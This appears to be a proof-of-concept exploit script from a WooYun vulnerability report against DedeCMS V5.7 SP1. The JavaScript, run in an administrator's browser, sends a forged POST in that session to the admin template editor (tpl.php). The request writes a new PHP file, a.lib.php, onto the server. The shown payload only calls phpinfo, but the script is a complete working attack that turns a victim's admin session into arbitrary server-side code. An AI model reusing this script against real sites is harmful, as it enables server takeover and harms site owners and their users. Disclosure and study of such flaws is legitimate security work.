WooYun.org

function ajax(){


  


    var request = false;


  


    if(window.XMLHttpRequest) {


  


        request = new XMLHttpRequest();


  


    } else if(window.ActiveXObject) {


  


        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];


  


        for(var i=0; i<versions.length; i++) {


  


            try {


  


                request = new ActiveXObject(versions[i]);


  


            } catch(e) {}


  


        }


  


    }


  


    return request;


  


}








var _x = ajax();


  


postgo();





function postgo() {


  


    src="**.**.**.**/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php";


  


    data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";


	


    xhr_act("POST",src,data);


  


}


  


function xhr_act(_m,_s,_a){





    _x.open(_m,_s,false);


	


	cookie = document.cookie;


    if(_m=="POST"){


		_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


		_x.setRequestHeader("Cookie",cookie);


	}


  


    _x.send(_a);


  


    return _x.responseText;


  


}